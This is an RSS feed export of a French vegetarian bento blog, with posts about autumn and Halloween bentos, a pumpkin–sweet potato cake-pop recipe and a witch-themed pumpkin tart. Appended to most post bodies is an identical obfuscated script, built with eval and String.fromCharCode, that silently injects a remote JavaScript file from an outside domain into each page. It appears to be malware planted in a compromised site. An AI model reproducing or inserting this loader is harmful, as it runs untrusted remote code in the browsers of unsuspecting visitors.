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	<title>Mon Bento Végétarien &#187; patate douce</title>
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	<description>Une site avec des bentos mais pas que</description>
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		<title>Bento Boulettes : Potimarron-Patate Douce</title>
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		<pubDate>Wed, 27 Nov 2013 23:17:55 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
		<category><![CDATA[Recettes]]></category>
		<category><![CDATA[automne]]></category>
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		<description><![CDATA[Oui oui le Bento boulette c&#8217;est le cousin du Bento de l&#8217;Automne réalisé en collaboration avec Rie et Marie. On y retrouve à peu près les mêmes ingredients. Il est juste un peu plus light (pas de tartelettes noix-noisettes ni de chèvre frais) et plus végétal. Dans ce Bento il y a donc une tranche [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2013/11/Photo-18-11-13-13-58-25.jpg"><img class="aligncenter size-large wp-image-3916" title="Fall-Bento-Automne-cakepop-potimarron" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/11/Photo-18-11-13-13-58-25-1024x1024.jpg" alt="" width="614" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Oui oui le Bento boulette c&rsquo;est le cousin du <a href="http://www.monbentovegetarien.com/2013/11/05/collaboration-bento-n°ii-3-bento-autour-de-lautomne/" target="_blank">Bento de l&rsquo;Automne</a> réalisé en collaboration avec Rie et Marie.</p>
<p style="text-align: left;">On y retrouve à peu près les mêmes ingredients. Il est juste un peu plus light (pas de <a href="http://www.monbentovegetarien.com/2013/11/15/automnales-et-creatives-lestartelettes-noix-noisettes/" target="_blank">tartelettes noix-noisettes</a> ni de chèvre frais) et plus végétal.</p>
<p style="text-align: left;">Dans ce Bento il y a donc une tranche de maïs bouilli, 5 feuilles d&rsquo;automne (pomme, chou rouge et pâte brisée), 2 mûres, 2 tomates cerises jaunes, 1 champignon en pâte brisée et éclats de noisettes, 2 châtaignes cuites à l&rsquo;eau, 1 figue fraiche, des grains de raisin blanc et rose, 1 clémentine, 2 tranches de courges rôties à l&rsquo;huile d&rsquo;olive et au romarin (potimarron et patidou), 1 noix fraiche, de la salade et des jolies boulettes Potimarron-Patate Douce.</p>
<p style="text-align: left;">Pour faire mes boulettes j&rsquo;ai utilisé un moule à cake pops et ai adapté une recette de cake salé.</p>
<h2 style="text-align: center;"><span style="color: #ff6600;">P<span style="color: #ff9900;">o</span></span><span style="color: #800080;">u</span><span style="color: #ff6600;">r</span> <span style="color: #ff9900;">1</span><span style="color: #800080;">2</span> <span style="color: #ff6600;">c</span><span style="color: #ff9900;">a</span><span style="color: #800080;">k</span><span style="color: #ff6600;">e</span> <span style="color: #ff9900;">p</span><span style="color: #800080;">o</span><span style="color: #ff6600;">p</span><span style="color: #ff9900;">s</span> <span style="color: #800080;">:</span></h2>
<p style="text-align: center;">
<p style="text-align: center;">- 50 g de farine</p>
<p style="text-align: center;">- 1 oeuf</p>
<p style="text-align: center;">- 1/2 sachet de levure</p>
<p style="text-align: center;">- 4 cl de lait</p>
<p style="text-align: center;">- 35 g de fromage finement rapé</p>
<p style="text-align: center;">- 15ml d&rsquo;huile</p>
<p style="text-align: center;">- 170 g de potimarron</p>
<p style="text-align: center;">- 2 c.c maizena</p>
<p style="text-align: center;">- 1 pincée de muscade</p>
<p style="text-align: center;">- sel et poivre</p>
<p style="text-align: center;">- 1 c.c sel</p>
<p style="text-align: center;">- 1 c.c curcuma</p>
<p style="text-align: center;">
<p style="text-align: center;"><em><span style="color: #888888;">20 min dans un four préchauffé à 180°</span></em></p>
<p style="text-align: center;">Ces boulettes en plus d&rsquo;être super bonnes sont mignonnes et parfaites pour un Bento. Pour les rendre encore plus kawaii on peut les relooker façon champignon (comme je l&rsquo;avais fait dans mon <a href="http://www.monbentovegetarien.com/2013/11/05/collaboration-bento-n°ii-3-bento-autour-de-lautomne/" target="_blank">Bento de l&rsquo;Automne</a>).</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2013/11/Photo-27-11-13-23-30-02.jpg"><img class="aligncenter size-large wp-image-3928" title="champignon-cake-pop-salé" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/11/Photo-27-11-13-23-30-02-1024x1024.jpg" alt="" width="294" height="294" /></a></p>
<p style="text-align: center;">On coupe la boulette en 2, on creuse un peu et on ajoute un bout de mini-maïs pour faire la base, et voilà un mignon champignon !</p>
<p style="text-align: center;"><em><span style="color: #888888;">Au revoir l&rsquo;Automne ! À l&rsquo;année Prochaine !</span></em></p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Halloween</title>
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		<pubDate>Mon, 29 Oct 2012 06:51:09 +0000</pubDate>
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		<description><![CDATA[Aujourd&#8217;hui dans mon Bento c&#8217;est ambiance Halloween ! J&#8217;y ai mis 1 demi prune, 1 bonbon citrouille, du maïs en épi, des pousses d&#8217;Alfalfa, 1 demi tomate green zebra (dans laquelle est planté un pique citrouille), du chou-fleur cru (violet et orange), du brocoli à la vapeur et 1 demi avocat sur lequel j&#8217;ai disposé [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/hhv.jpg"><img class="aligncenter size-large wp-image-2975" title="hhv" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/hhv-808x1024.jpg" alt="" width="485" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">Aujourd&rsquo;hui dans mon Bento c&rsquo;est ambiance Halloween !</p>
<p style="text-align: center;">J&rsquo;y ai mis <strong>1</strong> demi prune, <strong>1</strong> bonbon citrouille, du maïs en épi, des pousses d&rsquo;Alfalfa, <strong>1</strong> demi tomate green zebra <em>(dans laquelle est planté un pique citrouille)</em>, du chou-fleur cru (violet et orange), du brocoli à la vapeur et <strong>1</strong> demi avocat sur lequel j&rsquo;ai disposé des étoiles de carotte violette et <strong>1</strong> petit chat en pâte brisée.</p>
<p style="text-align: center;">Il y a aussi <strong>2</strong> petites <a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank">tartelettes &laquo;&nbsp;de la sorcière&nbsp;&raquo;</a> <em>(Potimarron/Patate douce/Chèvre frais)</em>. Vous aurez remarqué que celle du bas s&rsquo;est déguisée en citrouille <em>(avec du nori)</em>.</p>
<p style="text-align: center;">Pour la recette des tartelettes, cliquez : <a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank">ici</a> !</p>
<p style="text-align: center;">Et pour rester dans l&rsquo;ambiance Sorcellerie et citrouilles voici en prime quelques souvenirs de mon voyage chez Harry Potter (au parc Universal d&rsquo;Orlando).</p>
<p style="text-align: center;">J&rsquo;y retournerais bien fêter Halloween&#8230;</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-05-46.jpg"><img class="size-full wp-image-2990    aligncenter" title="Photo 29-10-12 06 05 46" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-05-46.jpg" alt="" width="430" height="430" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">Revoir le château et me promener dans Pré-au-Lard&#8230;</p>
<p style="text-align: center;">
<p style="text-align: center;">★★☆★★</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-08-38.jpg"><img class="size-full wp-image-2991  aligncenter" title="Photo 29-10-12 06 08 38" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-08-38.jpg" alt="" width="430" height="430" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">Refaire une photo avec le contrôleur du Poudlard Express et aller manger au Trois Balais&#8230;</p>
<p style="text-align: center;">(La bière au beurre et le jus d&rsquo;citrouille&#8230; <strong>Je Valide !)</strong></p>
<p style="text-align: center;">Miam !</p>
<p style="text-align: center;">★★☆★★</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-16-08.jpg"><img class="size-full wp-image-2992    aligncenter" title="Photo 29-10-12 06 16 08" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-16-08.jpg" alt="" width="430" height="430" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">Et aller chez Honeydukes acheter des Mouches en chocolat</p>
<p style="text-align: center;">et des dragées surprises de Bertie Crochue !</p>
<p style="text-align: center;">★★☆★★</p>
<p style="text-align: center;"><strong>Happy Halloween !</strong></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Le Bento a des Yeux</title>
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		<pubDate>Sun, 28 Oct 2012 16:38:51 +0000</pubDate>
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		<description><![CDATA[Aujourd’hui dans mon Bento il y a des Yeux&#8230; Mais pas Seulement ! Il y a aussi du chou-fleur violet et du chou-fleur orange (à la vapeur), 3 tranchettes de tomate Green Zebra, 2 bonbons Citrouille, 1 part de Tarte Prunes Jaunes/Amandine et 1 belle part de ma Tarte de la Sorcière Potimarron/Patate Douce/Chèvre frais [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/halloween-bentooo.jpg"><img class="aligncenter size-large wp-image-2960" title="halloween bentooo" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/halloween-bentooo-830x1024.jpg" alt="" width="498" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">Aujourd’hui dans mon Bento il y a des Yeux&#8230; Mais pas Seulement !</p>
<p style="text-align: left;">Il y a aussi du chou-fleur violet et du chou-fleur orange <em>(à la vapeur)</em>, <strong>3</strong> tranchettes de tomate Green Zebra, <strong>2</strong> bonbons Citrouille, <strong>1</strong> part de Tarte Prunes Jaunes/Amandine et <strong>1</strong> belle part de ma <a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank">Tarte de la Sorcière</a> Potimarron/Patate Douce/Chèvre frais <em>(décorée à la carotte violette)</em>. Le tout repose sur un mystérieux, <em>(car invisible)</em>, lit de pousses d&rsquo;Alfalfa .</p>
<p style="text-align: center;"><strong>Pour la recette de le Tarte au Potimarron de la Sorcière c&rsquo;est par : <a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank">ici</a> !</strong></p>
<p style="text-align: center;"><strong><a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank"><img class="aligncenter" title="tarte de la sorciere" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/jhhjkj.jpg" alt="" width="187" height="293" /></a><br />
</strong></p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>★☆La Tarte de la Sorcière☆★ :     Potimarron, Patate douce et Chèvre frais !</title>
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		<pubDate>Fri, 26 Oct 2012 05:57:05 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
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		<description><![CDATA[Il était une fois deux enfants blonds perdus au fin fond d&#8217;une noire noire forêt&#8230; Apercevant une jolie chaumière au loin, ils se crurent sauvés. La maisonnette était charmante. Posée au milieu d&#8217;une clairière, avec son toit fumant, ses cucurbitacées courant le long du potager, sa biquette attachée à un piquet et son chat noir [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><span style="color: #000000;"><em>Il était une fois deux enfants blonds perdus au fin fond d&rsquo;une noire noire forêt&#8230;</em></span></p>
<p style="text-align: center;"><span style="color: #000000;"><em>Apercevant  une jolie chaumière au loin, ils se crurent sauvés. </em></span></p>
<p style="text-align: center;"><span style="color: #000000;"><em>La maisonnette  était charmante. Posée au milieu d&rsquo;une clairière, avec son toit fumant,  ses cucurbitacées courant le long du potager, sa biquette attachée à un  piquet et son chat noir se prélassant dans un vieux panier.</em></span></p>
<p style="text-align: center;"><span style="color: #c0c0c0;"><em>- Toc Toc !</em></span></p>
<p style="text-align: center;"><span style="color: #c0c0c0;"><em>- Entrez les enfants !</em></span></p>
<p style="text-align: center;"><span style="color: #000000;"><em>Les deux  bambins ouvrirent la porte. Quel ne fut pas leur effroi quand derrière  ils découvrirent une Horrible Sorcière ! </em></span></p>
<p style="text-align: center;"><span style="color: #000000;"><em>C’était une vieille femme laide au  nez long et crochu, avec un chapeau pointu et un air sévère.</em></span></p>
<p style="text-align: center;"><span style="color: #c0c0c0;"><em>- Non ! Non ! Ne nous mangez pas ! <span style="color: #000000;"> </span></em></span></p>
<p style="text-align: center;"><span style="color: #c0c0c0;"><em><span style="color: #000000;">S’écrièrent les enfants.</span></em></span></p>
<p style="text-align: center;"><span style="color: #c0c0c0;"><em>- Quelle  drôle d&rsquo;idée ! </em></span></p>
<p style="text-align: center;"><span style="color: #c0c0c0;"><em><span style="color: #000000;">Répondit la Sorcière.</span><br />
</em></span></p>
<p style="text-align: center;"><span style="color: #c0c0c0;"><em>-Pourquoi voudriez-vous que je vous mange alors que je  viens de faire une délicieuse tarte au potimarron ?! Ne dites pas de  sottises et passons plutôt à table !</em></span></p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/jhhjkj.jpg"><img class="aligncenter size-large wp-image-2901" title="tarte-salé-potimarron-patate-douce-chèvre-frais-recette-végétarienne-halloween" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/jhhjkj-657x1024.jpg" alt="" width="433" height="675" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><em><span style="color: #ffcc99;"><strong><span style="text-decoration: underline;">Moralité</span> :</strong></span></em> <em>Peu importe la longueur du Nez. Quand on fait des tartes au Potimarron c&rsquo;est que l&rsquo;on a forcément bon fond !</em></p>
<p style="text-align: center;">★☆★</p>
<p style="text-align: center;">
<p style="text-align: center;">Je suis bien d&rsquo;accord avec la sorcière quand elle dit que cette tarte est délicieuse. Elle est douce, réconfortante&#8230; Du velours pour les papilles ! Tout à fait ce qu&rsquo;on a envie de manger après une rude journée dans le froid.</p>
<p style="text-align: center;">
<p style="text-align: center;"><strong><span style="text-decoration: underline;">Pour faire la Tarte de la Sorcière il vous faut</span> :</strong></p>
<p style="text-align: center;">- 1 pâte brisée</p>
<p style="text-align: center;">- 1/2 potimarron</p>
<p style="text-align: center;">- 1 patate douce</p>
<p style="text-align: center;">- 100 g de chèvre frais</p>
<p style="text-align: center;">- 1 pincée de noix de muscade moulue</p>
<p style="text-align: center;">- 1 c.s de beurre</p>
<p style="text-align: center;">- 1 bonne c.c de maïzena</p>
<p style="text-align: center;">- 1 carotte violette pour la déco <em>(facultatif)</em></p>
<p style="text-align: left;">
<p style="text-align: left;">Faire cuire la patate douce et le potimarron dans une casserole d&rsquo;eau salée. Plus c&rsquo;est coupé petit plus ça cuit vite, en plus si le potimarron est bio on a même pas besoin de le peler. Quand c&rsquo;est cuit, enlever l&rsquo;eau qui reste, ajouter le chèvre, la noix de muscade, le beurre et la maïzena. Bien mixer. Goûter. Rajouter du sel si besoin.</p>
<p style="text-align: left;">Préchauffer le four à <strong>180°c</strong></p>
<p style="text-align: left;">Étaler la pâte et la disposer dans un joli plat à tarte. Comme j&rsquo;avais pas mal de pâte j&rsquo;en ai profité pour faire quelques tartelettes en plus <em>(pour en mettre dans 1 bento)</em>. Verser la purée dans le plat et hop au four pour <strong>30</strong> à <strong>40</strong> minutes !</p>
<p style="text-align: left;">Attendre que la tarte refroidisse un peu avant d&rsquo;y déposer les rondelles d&rsquo;1 carotte violette préalablement pelée. C&rsquo;est joli, ça apporte du croquant et un coté un peu &laquo;&nbsp;Abracadabra&nbsp;&raquo;.</p>
<p style="text-align: left;">Avec le surplus de pâte j&rsquo;ai aussi préparé une petite déco de saison avec mes nouveaux emporte-pièces chéris ramenés des États-Unis (chat et étoiles). J&rsquo;en suis trop fan !</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento frigo vide/Cinoche</title>
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		<pubDate>Tue, 19 Apr 2011 10:50:42 +0000</pubDate>
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				<content:encoded><![CDATA[<p>En ce moment pas beaucoup d&rsquo;occasions de faire des bento&#8230; Alors je me suis dit créons l&rsquo;occasion ! Au lieu de se faire un classique resto/cinoche en amoureux faisons plutôt un bento/cinoche ! C&rsquo;est romantique et économique!  J&rsquo;étais ravie de mon idée jusqu&rsquo;à ce que je me souvienne que mon frigo était vide de chez vide. Plus le temps d&rsquo;aller faire des courses, tant pis ce sera un bento frigo vide ! Dans ce bento x2 il y a donc un steak de <a href="http://www.cerealbio.fr/cereales.php?id=2&amp;idProd=11" target="_blank">croq&rsquo;soja</a> au fromage passé à la poêle avec du <a href="http://www.naturalia.fr/bio-tamari-bio--1litre_540_5_579.htm" target="_blank">tamari</a>, (j&rsquo;en ai toujours un stock important, ça se conserve des mois et chez moi quand il n&rsquo;y a plus rien ou que l&rsquo;on n&rsquo;a pas envie de cuisiner c&rsquo;est devenu LE repas secours qui sauve la vie). Il y a aussi des rondelles de patate douce à la vapeur saupoudrées de graines de sésame au soja, quelques feuilles de menthe fraiche plus si fraiche, du riz vinaigré, du <a href="http://www.kioko.fr/catalogue-liste.php?rubrique_nom=L%C3%A9gumes+marin%C3%A9s&amp;rubrique_id=24&amp;RSpage=1" target="_blank"> concombre mariné</a> vert fluo acheté chez kioko, quelques cacahuètes, trois pauvres tomates cerise, (derniers vestiges d&rsquo;un frigo jadis rempli de légumes frais), et deux très jolies <a href="http://fr.wikipedia.org/wiki/Shiso" target="_blank">feuilles de shiso</a> fraiches miraculeusement bien conservées, également achetées chez kioko. Et voilà!  C&rsquo;est très sympa le bento/cinoche, je vous le conseille vivement !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/04/bento-for-2.jpg" target="_blank"><img class="aligncenter size-large wp-image-1034" title="bento for 2" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/04/bento-for-2-687x1024.jpg" alt="" width="412" height="614" /></a></p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Chou Rouge Project : Bento#1</title>
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		<pubDate>Mon, 21 Feb 2011 01:59:30 +0000</pubDate>
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				<content:encoded><![CDATA[<p>Voici le bento#1 du Chou Rouge Project ! Alors on commence tranquillement avec un grand classique: la salade pomme/chou rouge, (ça va tellement bien ensemble).</p>
<p>Dans ce bento il y a aussi une bonne purée de patate douce, des tomates cerises, des étoiles de nori sur la pomme, un coeur de sucrine, deux mûres et des fleurs de <a href="http://www.monbentovegetarien.com/?p=370" target="_blank">pancakes courgette/emmental</a> décorées avec du sésame noir et du gouda en tranche. Vous remarquerez aussi les jolies petites étoiles de chou rouge sur la purée !</p>
